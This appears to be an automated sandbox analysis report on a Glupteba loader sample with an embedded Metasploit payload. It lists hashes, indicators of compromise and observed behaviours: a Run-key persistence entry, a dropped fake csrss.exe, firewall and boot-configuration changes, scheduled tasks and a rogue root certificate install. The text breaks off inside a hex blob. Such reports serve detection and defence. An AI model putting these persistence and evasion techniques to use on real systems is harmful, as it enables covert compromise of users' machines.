glupteba | a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7

General

Target

a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
Size

3.9MB
MD5

31cdfaecc20c78ec5122f2c4359f6e34
SHA1

cd589c314b3d6b2d03d7c309a634c3b9dbf65155
SHA256

a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7
SHA512

89405962b2c271e2f78c4c4f89e72e9b04e0e4426896e043ffef1b82d165c3e28c019797bdca1e51022d90bd11cd87ab4dc6d911c4ea5d56064815476fbbb594
SSDEEP

98304:JiW+nk7jyjg4cRvX29Pi7AQWOClQ2FVi44ksje:Jx+nM5o9gvoi/ksj

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 7 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2672-133-0x0000000003650000-0x0000000003E54000-memory.dmp	family_glupteba
behavioral2/memory/2672-134-0x0000000000400000-0x0000000002E80000-memory.dmp	family_glupteba
behavioral2/memory/2672-137-0x0000000000400000-0x0000000002E80000-memory.dmp	family_glupteba
behavioral2/memory/1536-138-0x0000000000400000-0x0000000002E80000-memory.dmp	family_glupteba
behavioral2/memory/1536-146-0x0000000000400000-0x0000000002E80000-memory.dmp	family_glupteba
behavioral2/memory/4448-147-0x0000000000400000-0x0000000002E80000-memory.dmp	family_glupteba
behavioral2/memory/4448-153-0x0000000000400000-0x0000000002E80000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 112 created 2672	112	svchost.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
PID 112 created 4448	112	svchost.exe	csrss.exe
PID 112 created 4448	112	svchost.exe	csrss.exe
PID 112 created 4448	112	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

4448 csrss.exe
4736 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

536 netsh.exe

pid	process
4448	csrss.exe
4736	patch.exe

pid	process
536	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AutumnTree = "\"C:\\Windows\\rss\\csrss.exe\""	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

4664 bcdedit.exe

pid	process
4664	bcdedit.exe

Drops file in System32 directory 6 IoCs

Processes:

csrss.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A	csrss.exe

Drops file in Windows directory 2 IoCs

Processes:

a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe

description	ioc	process
File opened for modification	C:\Windows\rss	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
File created	C:\Windows\rss\csrss.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe

Program crash 64 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
2156	2672	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
4696	2672	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
4964	2672	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
4452	2672	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
4228	2672	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
3772	2672	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
532	2672	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
5092	2672	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
4712	2672	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
4628	2672	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
2208	2672	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
1652	2672	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
1628	2672	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
4640	2672	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
1664	2672	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
1660	2672	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
2380	2672	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
4184	2672	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
5008	2672	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
3032	2672	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
3736	1536	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
3868	1536	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
3860	1536	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
2968	1536	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
4780	1536	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
3620	1536	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
2304	1536	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
4356	1536	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
4832	1536	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
4192	1536	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
4292	1536	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
3708	1536	WerFault.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
2684	4448	WerFault.exe	csrss.exe
3524	4448	WerFault.exe	csrss.exe
4316	4448	WerFault.exe	csrss.exe
1480	4448	WerFault.exe	csrss.exe
4144	4448	WerFault.exe	csrss.exe
2452	4448	WerFault.exe	csrss.exe
4600	4448	WerFault.exe	csrss.exe
2328	4448	WerFault.exe	csrss.exe
2980	4448	WerFault.exe	csrss.exe
4052	4448	WerFault.exe	csrss.exe
4632	4448	WerFault.exe	csrss.exe
4856	4448	WerFault.exe	csrss.exe
4536	4448	WerFault.exe	csrss.exe
664	4448	WerFault.exe	csrss.exe
5084	4448	WerFault.exe	csrss.exe
4716	4448	WerFault.exe	csrss.exe
1320	4448	WerFault.exe	csrss.exe
1664	4448	WerFault.exe	csrss.exe
3384	4448	WerFault.exe	csrss.exe
2264	4448	WerFault.exe	csrss.exe
1744	4448	WerFault.exe	csrss.exe
5116	4448	WerFault.exe	csrss.exe
3604	4448	WerFault.exe	csrss.exe
3856	4448	WerFault.exe	csrss.exe
3116	4448	WerFault.exe	csrss.exe
3888	4448	WerFault.exe	csrss.exe
3696	4448	WerFault.exe	csrss.exe
2536	4448	WerFault.exe	csrss.exe
2696	4448	WerFault.exe	csrss.exe
3540	4448	WerFault.exe	csrss.exe
4076	4448	WerFault.exe	csrss.exe
4316	4448	WerFault.exe	csrss.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4964 schtasks.exe
2356 schtasks.exe

pid	process
4964	schtasks.exe
2356	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2871 = "Magallanes Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2842 = "Saratov Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2892 = "Sudan Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time"	csrss.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

csrss.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb